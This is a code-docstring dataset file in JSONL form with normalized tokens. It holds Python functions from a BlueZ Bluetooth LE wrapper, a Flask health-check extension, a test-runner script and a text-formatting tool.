{"signature": "@classmethod<EOL><INDENT>def find_devices(cls):<DEDENT>", "body": "return get_provider().find_devices(cls.ADVERTISED)<EOL>", "docstring": "Find all the available devices that support this service and\n        returns a list of them.  Does not poll and will return immediately.", "id": "f9597:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def disconnect_devices(cls):<DEDENT>", "body": "return get_provider().disconnect_devices(service_uuids=cls.ADVERTISED)<EOL>", "docstring": "Disconnect any currently connected devices that implement this\n        service.", "id": "f9597:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def discover(cls, device, timeout_sec=TIMEOUT_SEC):<DEDENT>", "body": "device.discover(cls.SERVICES, cls.CHARACTERISTICS, timeout_sec)<EOL>", "docstring": "Wait until the specified device has discovered the expected services\n        and characteristics for this service.  Should be called once before other\n        calls are made on the service.  Returns true if the service has been\n        discovered in the specified timeout, or false if not discovered.", "id": "f9597:c0:m3"}
{"signature": "def __init__(self, dbus_obj):", "body": "self._adapter = dbus.Interface(dbus_obj, _INTERFACE)<EOL>self._props = dbus.Interface(dbus_obj, '<STR_LIT>')<EOL>self._scan_started = threading.Event()<EOL>self._scan_stopped = threading.Event()<EOL>self._props.connect_to_signal('<STR_LIT>', self._prop_changed)<EOL>", "docstring": "Create an instance of the bluetooth adapter from the provided bluez\n        DBus object.", "id": "f9598:c0:m0"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self._props.Get(_INTERFACE, '<STR_LIT:Name>')<EOL>", "docstring": "Return the name of this BLE network adapter.", "id": "f9598:c0:m2"}
{"signature": "def start_scan(self, timeout_sec=TIMEOUT_SEC):", "body": "self._scan_started.clear()<EOL>self._adapter.StartDiscovery()<EOL>if not self._scan_started.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Start scanning for BLE devices with this adapter.", "id": "f9598:c0:m3"}
{"signature": "def stop_scan(self, timeout_sec=TIMEOUT_SEC):", "body": "self._scan_stopped.clear()<EOL>self._adapter.StopDiscovery()<EOL>if not self._scan_stopped.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Stop scanning for BLE devices with this adapter.", "id": "f9598:c0:m4"}
{"signature": "@property<EOL><INDENT>def is_scanning(self):<DEDENT>", "body": "return self._props.Get(_INTERFACE, '<STR_LIT>')<EOL>", "docstring": "Return True if the BLE adapter is scanning for devices, otherwise\n        return False.", "id": "f9598:c0:m5"}
{"signature": "def power_on(self):", "body": "return self._props.Set(_INTERFACE, '<STR_LIT>', True)<EOL>", "docstring": "Power on this BLE adapter.", "id": "f9598:c0:m6"}
{"signature": "def power_off(self):", "body": "return self._props.Set(_INTERFACE, '<STR_LIT>', False)<EOL>", "docstring": "Power off this BLE adapter.", "id": "f9598:c0:m7"}
{"signature": "@property<EOL><INDENT>def is_powered(self):<DEDENT>", "body": "return self._props.Get(_INTERFACE, '<STR_LIT>')<EOL>", "docstring": "Return True if the BLE adapter is powered up, otherwise return False.", "id": "f9598:c0:m8"}
{"signature": "def initialize(self):", "body": "<EOL>GObject.threads_init()<EOL>dbus.mainloop.glib.threads_init()<EOL>self._mainloop = dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)<EOL>self._bus = dbus.SystemBus()<EOL>self._bluez = dbus.Interface(self._bus.get_object('<STR_LIT>', '<STR_LIT:/>'),<EOL>'<STR_LIT>')<EOL>", "docstring": "Initialize bluez DBus communication.  Must be called before any other\n        calls are made!", "id": "f9599:c0:m1"}
{"signature": "def run_mainloop_with(self, target):", "body": "<EOL>self._user_thread = threading.Thread(target=self._user_thread_main, args=(target,))<EOL>self._user_thread.daemon = True  <EOL>self._user_thread.start()<EOL>self._gobject_mainloop = GObject.MainLoop()<EOL>try:<EOL><INDENT>self._gobject_mainloop.run()  <EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>self._gobject_mainloop.quit()<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>if self._exception is not None:<EOL><INDENT>raise_(self._exception[<NUM_LIT:1>], None, self._exception[<NUM_LIT:2>])<EOL><DEDENT>else:<EOL><INDENT>sys.exit(self._return_code)<EOL><DEDENT>", "docstring": "Start the OS's main loop to process asyncronous BLE events and then\n        run the specified target function in a background thread.  Target\n        function should be a function that takes no parameters and optionally\n        return an integer response code.  When the target function stops\n        executing or returns with value then the main loop will be stopped and\n        the program will exit with the returned code.\n\n        Note that an OS main loop is required to process asyncronous BLE events\n        and this function is provided as a convenience for writing simple tools\n        and scripts that don't need to be full-blown GUI applications.  If you\n        are writing a GUI application that has a main loop (a GTK glib main loop\n        on Linux, or a Cocoa main loop on OSX) then you don't need to call this\n        function.", "id": "f9599:c0:m2"}
{"signature": "def _user_thread_main(self, target):", "body": "try:<EOL><INDENT>while True:<EOL><INDENT>if self._gobject_mainloop is not None and self._gobject_mainloop.is_running():<EOL><INDENT>break<EOL><DEDENT>time.sleep(<NUM_LIT:0>)<EOL><DEDENT>self._return_code = target()<EOL>if self._return_code is None:<EOL><INDENT>self._return_code = <NUM_LIT:0><EOL><DEDENT>self._gobject_mainloop.quit()<EOL><DEDENT>except Exception as ex:<EOL><INDENT>self._exception = sys.exc_info()<EOL>self._gobject_mainloop.quit()<EOL><DEDENT>", "docstring": "Main entry point for the thread that will run user's code.", "id": "f9599:c0:m3"}
{"signature": "def clear_cached_data(self):", "body": "<EOL>for device in self.list_devices():<EOL><INDENT>if device.is_connected:<EOL><INDENT>continue<EOL><DEDENT>adapter = dbus.Interface(self._bus.get_object('<STR_LIT>', device._adapter),<EOL>_ADAPTER_INTERFACE)<EOL>adapter.RemoveDevice(device._device.object_path)<EOL><DEDENT>", "docstring": "Clear any internally cached BLE device data.  Necessary in some cases\n        to prevent issues with stale device data getting cached by the OS.", "id": "f9599:c0:m4"}
{"signature": "def disconnect_devices(self, service_uuids=[]):", "body": "service_uuids = set(service_uuids)<EOL>for device in self.list_devices():<EOL><INDENT>if not device.is_connected:<EOL><INDENT>continue<EOL><DEDENT>device_uuids = set(map(lambda x: x.uuid, device.list_services()))<EOL>if device_uuids >= service_uuids:<EOL><INDENT>device.disconnect()<EOL><DEDENT><DEDENT>", "docstring": "Disconnect any connected devices that have the specified list of\n        service UUIDs.  The default is an empty list which means all devices\n        are disconnected.", "id": "f9599:c0:m5"}
{"signature": "def list_adapters(self):", "body": "return map(BluezAdapter, self._get_objects('<STR_LIT>'))<EOL>", "docstring": "Return a list of BLE adapter objects connected to the system.", "id": "f9599:c0:m6"}
{"signature": "def list_devices(self):", "body": "return map(BluezDevice, self._get_objects('<STR_LIT>'))<EOL>", "docstring": "Return a list of BLE devices known to the system.", "id": "f9599:c0:m7"}
{"signature": "def _get_objects(self, interface, parent_path='<STR_LIT>'):", "body": "<EOL>parent_path = parent_path.lower()<EOL>objects = []<EOL>for opath, interfaces in iteritems(self._bluez.GetManagedObjects()):<EOL><INDENT>if interface in interfaces.keys() and opath.lower().startswith(parent_path):<EOL><INDENT>objects.append(self._bus.get_object('<STR_LIT>', opath))<EOL><DEDENT><DEDENT>return objects<EOL>", "docstring": "Return a list of all bluez DBus objects that implement the requested\n        interface name and are under the specified path.  The default is to\n        search devices under the root of all bluez objects.", "id": "f9599:c0:m8"}
{"signature": "def _get_objects_by_path(self, paths):", "body": "return map(lambda x: self._bus.get_object('<STR_LIT>', x), paths)<EOL>", "docstring": "Return a list of all bluez DBus objects from the provided list of paths.", "id": "f9599:c0:m9"}
{"signature": "def _print_tree(self):", "body": "<EOL>objects = self._bluez.GetManagedObjects()<EOL>for path in objects.keys():<EOL><INDENT>print(\"<STR_LIT>\" % (path))<EOL>interfaces = objects[path]<EOL>for interface in interfaces.keys():<EOL><INDENT>if interface in [\"<STR_LIT>\",<EOL>\"<STR_LIT>\"]:<EOL><INDENT>continue<EOL><DEDENT>print(\"<STR_LIT>\" % (interface))<EOL>properties = interfaces[interface]<EOL>for key in properties.keys():<EOL><INDENT>print(\"<STR_LIT>\" % (key, properties[key]))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Print tree of all bluez objects, useful for debugging.", "id": "f9599:c0:m10"}
{"signature": "def __init__(self, dbus_obj):", "body": "self._props = dbus.Interface(dbus_obj, '<STR_LIT>')<EOL>", "docstring": "Create an instance of the GATT service from the provided bluez\n        DBus object.", "id": "f9600:c0:m0"}
{"signature": "@property<EOL><INDENT>def uuid(self):<DEDENT>", "body": "return uuid.UUID(str(self._props.Get(_SERVICE_INTERFACE, '<STR_LIT>')))<EOL>", "docstring": "Return the UUID of this GATT service.", "id": "f9600:c0:m1"}
{"signature": "def list_characteristics(self):", "body": "paths = self._props.Get(_SERVICE_INTERFACE, '<STR_LIT>')<EOL>return map(BluezGattCharacteristic,<EOL>get_provider()._get_objects_by_path(paths))<EOL>", "docstring": "Return list of GATT characteristics that have been discovered for this\n        service.", "id": "f9600:c0:m2"}
{"signature": "def __init__(self, dbus_obj):", "body": "self._characteristic = dbus.Interface(dbus_obj, _CHARACTERISTIC_INTERFACE)<EOL>self._props = dbus.Interface(dbus_obj, '<STR_LIT>')<EOL>", "docstring": "Create an instance of the GATT characteristic from the provided bluez\n        DBus object.", "id": "f9600:c1:m0"}
{"signature": "@property<EOL><INDENT>def uuid(self):<DEDENT>", "body": "return uuid.UUID(str(self._props.Get(_CHARACTERISTIC_INTERFACE, '<STR_LIT>')))<EOL>", "docstring": "Return the UUID of this GATT characteristic.", "id": "f9600:c1:m1"}
{"signature": "def read_value(self):", "body": "return self._characteristic.ReadValue()<EOL>", "docstring": "Read the value of this characteristic.", "id": "f9600:c1:m2"}
{"signature": "def write_value(self, value):", "body": "self._characteristic.WriteValue(value)<EOL>", "docstring": "Write the specified value to this characteristic.", "id": "f9600:c1:m3"}
{"signature": "def start_notify(self, on_change):", "body": "<EOL>def characteristic_changed(iface, changed_props, invalidated_props):<EOL><INDENT>if iface != _CHARACTERISTIC_INTERFACE:<EOL><INDENT>return<EOL><DEDENT>if '<STR_LIT>' not in changed_props:<EOL><INDENT>return<EOL><DEDENT>on_change('<STR_LIT>'.join(map(chr, changed_props['<STR_LIT>'])))<EOL><DEDENT>self._props.connect_to_signal('<STR_LIT>', characteristic_changed)<EOL>self._characteristic.StartNotify()<EOL>", "docstring": "Enable notification of changes for this characteristic on the\n        specified on_change callback.  on_change should be a function that takes\n        one parameter which is the value (as a string of bytes) of the changed\n        characteristic value.", "id": "f9600:c1:m4"}
{"signature": "def stop_notify(self):", "body": "self._characteristic.StopNotify()<EOL>", "docstring": "Disable notification of changes for this characteristic.", "id": "f9600:c1:m5"}
{"signature": "def list_descriptors(self):", "body": "paths = self._props.Get(_CHARACTERISTIC_INTERFACE, '<STR_LIT>')<EOL>return map(BluezGattDescriptor,<EOL>get_provider()._get_objects_by_path(paths))<EOL>", "docstring": "Return list of GATT descriptors that have been discovered for this\n        characteristic.", "id": "f9600:c1:m6"}
{"signature": "def __init__(self, dbus_obj):", "body": "self._descriptor = dbus.Interface(dbus_obj, _DESCRIPTOR_INTERFACE)<EOL>self._props = dbus.Interface(dbus_obj, '<STR_LIT>')<EOL>", "docstring": "Create an instance of the GATT descriptor from the provided bluez\n        DBus object.", "id": "f9600:c2:m0"}
{"signature": "@property<EOL><INDENT>def uuid(self):<DEDENT>", "body": "return uuid.UUID(str(self._props.Get(_DESCRIPTOR_INTERFACE, '<STR_LIT>')))<EOL>", "docstring": "Return the UUID of this GATT descriptor.", "id": "f9600:c2:m1"}
{"signature": "def read_value(self):", "body": "return self._descriptor.ReadValue()<EOL>", "docstring": "Read the value of this descriptor.", "id": "f9600:c2:m2"}
{"signature": "def __init__(self, dbus_obj):", "body": "self._device = dbus.Interface(dbus_obj, _INTERFACE)<EOL>self._props = dbus.Interface(dbus_obj, '<STR_LIT>')<EOL>self._connected = threading.Event()<EOL>self._disconnected = threading.Event()<EOL>self._props.connect_to_signal('<STR_LIT>', self._prop_changed)<EOL>", "docstring": "Create an instance of the bluetooth device from the provided bluez\n        DBus object.", "id": "f9601:c0:m0"}
{"signature": "def connect(self, timeout_sec=TIMEOUT_SEC):", "body": "self._connected.clear()<EOL>self._device.Connect()<EOL>if not self._connected.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Connect to the device.  If not connected within the specified timeout\n        then an exception is thrown.", "id": "f9601:c0:m2"}
{"signature": "def disconnect(self, timeout_sec=TIMEOUT_SEC):", "body": "self._disconnected.clear()<EOL>self._device.Disconnect()<EOL>if not self._disconnected.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Disconnect from the device.  If not disconnected within the specified\n        timeout then an exception is thrown.", "id": "f9601:c0:m3"}
{"signature": "def list_services(self):", "body": "return map(BluezGattService,<EOL>get_provider()._get_objects(_SERVICE_INTERFACE,<EOL>self._device.object_path))<EOL>", "docstring": "Return a list of GattService objects that have been discovered for\n        this device.", "id": "f9601:c0:m4"}
{"signature": "def discover(self, service_uuids, char_uuids, timeout_sec=TIMEOUT_SEC):", "body": "<EOL>expected_services = set(service_uuids)<EOL>expected_chars = set(char_uuids)<EOL>start = time.time()<EOL>while True:<EOL><INDENT>actual_services = set(self.advertised)<EOL>chars = map(BluezGattCharacteristic,<EOL>get_provider()._get_objects(_CHARACTERISTIC_INTERFACE,<EOL>self._device.object_path))<EOL>actual_chars = set(map(lambda x: x.uuid, chars))<EOL>if actual_services >= expected_services and actual_chars >= expected_chars:<EOL><INDENT>return True<EOL><DEDENT>if time.time()-start >= timeout_sec:<EOL><INDENT>return False<EOL><DEDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Wait up to timeout_sec for the specified services and characteristics\n        to be discovered on the device.  If the timeout is exceeded without\n        discovering the services and characteristics then an exception is thrown.", "id": "f9601:c0:m5"}
{"signature": "@property<EOL><INDENT>def advertised(self):<DEDENT>", "body": "uuids = []<EOL>try:<EOL><INDENT>uuids = self._props.Get(_INTERFACE, '<STR_LIT>')<EOL><DEDENT>except dbus.exceptions.DBusException as ex:<EOL><INDENT>if ex.get_dbus_name() != '<STR_LIT>':<EOL><INDENT>raise ex<EOL><DEDENT><DEDENT>return [uuid.UUID(str(x)) for x in uuids]<EOL>", "docstring": "Return a list of UUIDs for services that are advertised by this\n        device.", "id": "f9601:c0:m6"}
{"signature": "@property<EOL><INDENT>def id(self):<DEDENT>", "body": "return self._props.Get(_INTERFACE, '<STR_LIT>')<EOL>", "docstring": "Return a unique identifier for this device.  On supported platforms\n        this will be the MAC address of the device, however on unsupported\n        platforms (Mac OSX) it will be a unique ID like a UUID.", "id": "f9601:c0:m7"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self._props.Get(_INTERFACE, '<STR_LIT:Name>')<EOL>", "docstring": "Return the name of this device.", "id": "f9601:c0:m8"}
{"signature": "@property<EOL><INDENT>def is_connected(self):<DEDENT>", "body": "return self._props.Get(_INTERFACE, '<STR_LIT>')<EOL>", "docstring": "Return True if the device is connected to the system, otherwise False.", "id": "f9601:c0:m9"}
{"signature": "@property<EOL><INDENT>def rssi(self):<DEDENT>", "body": "return self._props.Get(_INTERFACE, '<STR_LIT>')<EOL>", "docstring": "Return the RSSI signal strength in decibels.", "id": "f9601:c0:m10"}
{"signature": "@property<EOL><INDENT>def _adapter(self):<DEDENT>", "body": "return self._props.Get(_INTERFACE, '<STR_LIT>')<EOL>", "docstring": "Return the DBus path to the adapter that owns this device.", "id": "f9601:c0:m11"}
{"signature": "def init_app(self, app):", "body": "self._jobs = []<EOL>if not hasattr(app, '<STR_LIT>'):<EOL><INDENT>app.extensions = {}<EOL><DEDENT>app.extensions['<STR_LIT>'] = self<EOL>app.restpoints_instance = self<EOL>app.add_url_rule('<STR_LIT>', '<STR_LIT>', ping)<EOL>app.add_url_rule('<STR_LIT>', '<STR_LIT:time>', time)<EOL>app.add_url_rule('<STR_LIT>', '<STR_LIT:status>', status(self._jobs))<EOL>", "docstring": "Initialize a :class:`~flask.Flask` application for use with\n        this extension.", "id": "f9608:c0:m1"}
{"signature": "def add_status_job(self, job_func, name=None, timeout=<NUM_LIT:3>):", "body": "job_name = job_func.__name__ if name is None else name<EOL>job = (job_name, timeout, job_func)<EOL>self._jobs.append(job)<EOL>", "docstring": "Adds a job to be included during calls to the `/status` endpoint.\n\n        :param job_func: the status function.\n        :param name: the name used in the JSON response for the given status\n                     function. The name of the function is the default.\n        :param timeout: the time limit before the job status is set to\n                        \"timeout exceeded\".", "id": "f9608:c0:m2"}
{"signature": "def status_job(self, fn=None, name=None, timeout=<NUM_LIT:3>):", "body": "if fn is None:<EOL><INDENT>def decorator(fn):<EOL><INDENT>self.add_status_job(fn, name, timeout)<EOL><DEDENT>return decorator<EOL><DEDENT>else:<EOL><INDENT>self.add_status_job(fn, name, timeout)<EOL><DEDENT>", "docstring": "Decorator that invokes `add_status_job`.\n\n        ::\n\n            @app.status_job\n            def postgresql():\n                # query/ping postgres\n\n            @app.status_job(name=\"Active Directory\")\n            def active_directory():\n                # query active directory\n\n            @app.status_job(timeout=5)\n            def paypal():\n                # query paypal, timeout after 5 seconds", "id": "f9608:c0:m3"}
{"signature": "def status(jobs):", "body": "def status_handler():<EOL><INDENT>endpoints = []<EOL>stats = {\"<STR_LIT>\": None}<EOL>executor = concurrent.futures.ThreadPoolExecutor(max_workers=<NUM_LIT:5>)<EOL>for job, future in [(job, executor.submit(timeit, job[<NUM_LIT:2>], number=<NUM_LIT:1>)) for job in jobs]:<EOL><INDENT>name, timeout, _ = job<EOL>endpoint = {\"<STR_LIT>\": name}<EOL>try:<EOL><INDENT>data = future.result(timeout=timeout)<EOL>endpoint[\"<STR_LIT>\"] = data<EOL><DEDENT>except concurrent.futures.TimeoutError:<EOL><INDENT>endpoint[\"<STR_LIT:error>\"] = \"<STR_LIT>\"<EOL><DEDENT>except Exception as ex:<EOL><INDENT>endpoint[\"<STR_LIT:error>\"] = str(ex)<EOL><DEDENT>endpoints.append(endpoint)<EOL><DEDENT>if len(endpoints) > <NUM_LIT:0>:<EOL><INDENT>stats[\"<STR_LIT>\"] = endpoints<EOL><DEDENT>executor.shutdown(wait=False)<EOL>return jsonify(**stats)<EOL><DEDENT>return status_handler<EOL>", "docstring": "Handler that calls each status job in a worker pool, attempting to timeout.\n    The resulting durations/errors are written to the response\n    as JSON.\n\n    eg.\n\n    `{\n        \"endpoints\": [\n            { \"endpoint\": \"Jenny's Database\", \"duration\": 1.002556324005127 },\n            { \"endpoint\": \"Hotmail\", \"duration\": -1, \"error\": \"Host is down\" },\n        ]\n     }`", "id": "f9610:m0"}
{"signature": "def ping():", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "Handler that simply returns `pong` from a GET.", "id": "f9610:m1"}
{"signature": "def main(argd):", "body": "<EOL>green_exe = get_green_exe()<EOL>if argd['<STR_LIT>'] or argd['<STR_LIT>']:<EOL><INDENT>return list_tests(full=argd['<STR_LIT>'])<EOL><DEDENT>green_args = parse_test_names(argd['<STR_LIT>']) or ['<STR_LIT:test>']<EOL>if argd['<STR_LIT>']:<EOL><INDENT>return print_test_names(green_args)<EOL><DEDENT>cmd = [green_exe, '<STR_LIT>']<EOL>if not argd['<STR_LIT>']:<EOL><INDENT>cmd.append('<STR_LIT>')<EOL><DEDENT>cmd.extend(green_args)<EOL>print_header(cmd)<EOL>return subprocess.run(cmd).returncode<EOL>", "docstring": "Main entry point, expects doctopt arg dict as argd.", "id": "f9612:m0"}
{"signature": "def get_green_exe():", "body": "paths = set(<EOL>s for s in os.environ.get('<STR_LIT>', '<STR_LIT>').split('<STR_LIT::>')<EOL>if s and os.path.isdir(s)<EOL>)<EOL>pyver = '<STR_LIT>'.format(v=sys.version_info)<EOL>greenmajorexe = '<STR_LIT>'.format(sys.version_info.major)<EOL>greenexe = '<STR_LIT>'.format(pyver)<EOL>for trypath in paths:<EOL><INDENT>greenpath = os.path.join(trypath, greenexe)<EOL>greenmajorpath = os.path.join(trypath, greenmajorexe)<EOL>if os.path.exists(greenpath):<EOL><INDENT>return greenpath<EOL><DEDENT>elif os.path.exists(greenmajorpath):<EOL><INDENT>return greenmajorpath<EOL><DEDENT><DEDENT>raise MissingDependency('<STR_LIT>')<EOL>", "docstring": "Get the green executable for this Python version.", "id": "f9612:m1"}
{"signature": "def print_err(*args, **kwargs):", "body": "if kwargs.get('<STR_LIT:file>', None) is None:<EOL><INDENT>kwargs['<STR_LIT:file>'] = sys.stderr<EOL><DEDENT>print(*args, **kwargs)<EOL>", "docstring": "A wrapper for print() that uses stderr by default.", "id": "f9612:m10"}
{"signature": "def print_header(cmd):", "body": "textcolors = {'<STR_LIT>': '<STR_LIT>'}<EOL>libcolors = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}<EOL>vercolors = {'<STR_LIT>': '<STR_LIT>'}<EOL>execolors = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}<EOL>argcolors = {'<STR_LIT>': '<STR_LIT>'}<EOL>def fmt_app_info(name, ver):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return C('<STR_LIT>', **textcolors).join(<EOL>C(name, **libcolors),<EOL>C(ver, **vercolors)<EOL>)<EOL><DEDENT>def fmt_cmd_args(cmdargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return C('<STR_LIT:U+0020>').join(<EOL>C(cmdargs[<NUM_LIT:0>], **execolors),<EOL>C('<STR_LIT:U+0020>').join(C(s, **argcolors) for s in cmdargs[<NUM_LIT:1>:]),<EOL>).join('<STR_LIT:(>', '<STR_LIT:)>', style='<STR_LIT>')<EOL><DEDENT>print('<STR_LIT>'.format(<EOL>C('<STR_LIT:U+0020>').join(<EOL>C('<STR_LIT>', **textcolors),<EOL>fmt_app_info(APPNAME, APPVERSION),<EOL>C('<STR_LIT>', **textcolors),<EOL>fmt_app_info('<STR_LIT>', green_version),<EOL>fmt_cmd_args(cmd),<EOL>)<EOL>))<EOL>print(<EOL>C('<STR_LIT>').join(<EOL>C('<STR_LIT>', '<STR_LIT>'),<EOL>C(os.getcwd(), '<STR_LIT>', style='<STR_LIT>'),<EOL>),<EOL>)<EOL>", "docstring": "Print some info about the Colr and Green versions being used.", "id": "f9612:m11"}
{"signature": "def main():", "body": "global DEBUG<EOL>argd = docopt(USAGESTR, version=VERSIONSTR, script=SCRIPT)<EOL>DEBUG = argd['<STR_LIT>']<EOL>width = parse_int(argd['<STR_LIT>'] or DEFAULT_WIDTH) or <NUM_LIT:1><EOL>indent = parse_int(argd['<STR_LIT>'] or (argd['<STR_LIT>'] or <NUM_LIT:0>))<EOL>prepend = '<STR_LIT:U+0020>' * (indent * <NUM_LIT:4>)<EOL>if prepend and argd['<STR_LIT>']:<EOL><INDENT>width -= len(prepend)<EOL><DEDENT>userprepend = argd['<STR_LIT>'] or (argd['<STR_LIT>'] or '<STR_LIT>')<EOL>prepend = '<STR_LIT>'.join((prepend, userprepend))<EOL>if argd['<STR_LIT>']:<EOL><INDENT>width -= len(userprepend)<EOL><DEDENT>userappend = argd['<STR_LIT>'] or (argd['<STR_LIT>'] or '<STR_LIT>')<EOL>if argd['<STR_LIT>']:<EOL><INDENT>width -= len(userappend)<EOL><DEDENT>if argd['<STR_LIT>']:<EOL><INDENT>argd['<STR_LIT>'] = (<EOL>(try_read_file(w) if len(w) < <NUM_LIT> else w)<EOL>for w in argd['<STR_LIT>']<EOL>)<EOL>words = '<STR_LIT:U+0020>'.join((w for w in argd['<STR_LIT>'] if w))<EOL><DEDENT>else:<EOL><INDENT>words = read_stdin()<EOL><DEDENT>block = FormatBlock(words).iter_format_block(<EOL>chars=argd['<STR_LIT>'],<EOL>fill=argd['<STR_LIT>'],<EOL>prepend=prepend,<EOL>strip_first=argd['<STR_LIT>'],<EOL>append=userappend,<EOL>strip_last=argd['<STR_LIT>'],<EOL>width=width,<EOL>newlines=argd['<STR_LIT>'],<EOL>lstrip=argd['<STR_LIT>'],<EOL>)<EOL>for i, line in enumerate(block):<EOL><INDENT>if argd['<STR_LIT>']:<EOL><INDENT>print('<STR_LIT>'.format(i + <NUM_LIT:1>, line))<EOL><DEDENT>else:<EOL><INDENT>print(line)<EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Main entry point, expects doctopt arg dict as argd.", "id": "f9614:m0"}
{"signature": "def debug(*args, **kwargs):", "body": "if not (DEBUG and args):<EOL><INDENT>return None<EOL><DEDENT>parent = kwargs.get('<STR_LIT>', None)<EOL>with suppress(KeyError):<EOL><INDENT>kwargs.pop('<STR_LIT>')<EOL><DEDENT>backlevel = kwargs.get('<STR_LIT>', <NUM_LIT:1>)<EOL>with suppress(KeyError):<EOL><INDENT>kwargs.pop('<STR_LIT>')<EOL><DEDENT>frame = inspect.currentframe()<EOL>while backlevel > <NUM_LIT:0>:<EOL><INDENT>frame = frame.f_back<EOL>backlevel -= <NUM_LIT:1><EOL><DEDENT>fname = os.path.split(frame.f_code.co_filename)[-<NUM_LIT:1>]<EOL>lineno = frame.f_lineno<EOL>if parent:<EOL><INDENT>func = '<STR_LIT>'.format(parent.__class__.__name__, frame.f_code.co_name)<EOL><DEDENT>else:<EOL><INDENT>func = frame.f_code.co_name<EOL><DEDENT>lineinfo = '<STR_LIT>'.format(<EOL>C(fname, '<STR_LIT>'),<EOL>C(str(lineno).ljust(<NUM_LIT:4>), '<STR_LIT>'),<EOL>C().join(C(func, '<STR_LIT>'), '<STR_LIT>').ljust(<NUM_LIT:20>)<EOL>)<EOL>pargs = list(C(a, '<STR_LIT>').str() for a in args)<EOL>pargs[<NUM_LIT:0>] = '<STR_LIT>'.join((lineinfo, pargs[<NUM_LIT:0>]))<EOL>print_err(*pargs, **kwargs)<EOL>", "docstring": "Print a message only if DEBUG is truthy.", "id": "f9614:m1"}
{"signature": "def parse_int(s):", "body": "try:<EOL><INDENT>val = int(s)<EOL><DEDENT>except ValueError:<EOL><INDENT>print_err('<STR_LIT>'.format(s))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return val<EOL>", "docstring": "Parse a string as an integer.\n        Exit with a message on failure.", "id": "f9614:m2"}
{"signature": "def print_err(*args, **kwargs):", "body": "if kwargs.get('<STR_LIT:file>', None) is None:<EOL><INDENT>kwargs['<STR_LIT:file>'] = sys.stderr<EOL><DEDENT>print(*args, **kwargs)<EOL>", "docstring": "Print to stderr by default.", "id": "f9614:m3"}
{"signature": "def read_stdin():", "body": "if sys.stdin.isatty() and sys.stdout.isatty():<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>return sys.stdin.read()<EOL>", "docstring": "Read from stdin, but print a helpful message if it's a tty.", "id": "f9614:m4"}
{"signature": "def try_read_file(s):", "body": "try:<EOL><INDENT>with open(s, '<STR_LIT:r>') as f:<EOL><INDENT>data = f.read()<EOL><DEDENT><DEDENT>except FileNotFoundError:<EOL><INDENT>return s<EOL><DEDENT>except EnvironmentError as ex:<EOL><INDENT>print_err('<STR_LIT>'.format(s, ex))<EOL>return None<EOL><DEDENT>return data<EOL>", "docstring": "If `s` is a file name, read the file and return it's content.\n        Otherwise, return the original string.\n        Returns None if the file was opened, but errored during reading.", "id": "f9614:m5"}
{"signature": "def expand_words(self, line, width=<NUM_LIT>):", "body": "if not line.strip():<EOL><INDENT>return line<EOL><DEDENT>wordi = <NUM_LIT:1><EOL>while len(strip_codes(line)) < width:<EOL><INDENT>wordendi = self.find_word_end(line, wordi)<EOL>if wordendi < <NUM_LIT:0>:<EOL><INDENT>wordi = <NUM_LIT:1><EOL>wordendi = self.find_word_end(line, wordi)<EOL><DEDENT>if wordendi < <NUM_LIT:0>:<EOL><INDENT>line = '<STR_LIT>'.join(('<STR_LIT:U+0020>', line))<EOL><DEDENT>else:<EOL><INDENT>line = '<STR_LIT:U+0020>'.join((line[:wordendi], line[wordendi:]))<EOL>wordi += <NUM_LIT:1><EOL><DEDENT><DEDENT>if '<STR_LIT:U+0020>' not in strip_codes(line).strip():<EOL><INDENT>return line.replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL><DEDENT>return line<EOL>", "docstring": "Insert spaces between words until it is wide enough for `width`.", "id": "f9616:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def find_word_end(text, count=<NUM_LIT:1>):<DEDENT>", "body": "if not text:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>elif '<STR_LIT:U+0020>' not in text:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>elif not text.strip():<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>count = count or <NUM_LIT:1><EOL>found = <NUM_LIT:0><EOL>foundindex = -<NUM_LIT:1><EOL>inword = False<EOL>indices = get_indices(str(text))<EOL>sortedindices = sorted(indices)<EOL>for i in sortedindices:<EOL><INDENT>c = indices[i]<EOL>if inword and c.isspace():<EOL><INDENT>inword = False<EOL>foundindex = i<EOL>found += <NUM_LIT:1><EOL>testindex = i<EOL>while testindex > <NUM_LIT:0>:<EOL><INDENT>testindex -= <NUM_LIT:1><EOL>s = indices.get(testindex, None)<EOL>if s is None:<EOL><INDENT>continue<EOL><DEDENT>if len(s) == <NUM_LIT:1>:<EOL><INDENT>foundindex = testindex + <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT>if found == count:<EOL><INDENT>return foundindex<EOL><DEDENT><DEDENT>elif not c.isspace():<EOL><INDENT>inword = True<EOL><DEDENT><DEDENT>lastindex = sortedindices[-<NUM_LIT:1>]<EOL>if len(indices[lastindex]) > <NUM_LIT:1>:<EOL><INDENT>while lastindex > <NUM_LIT:0>:<EOL><INDENT>lastindex -= 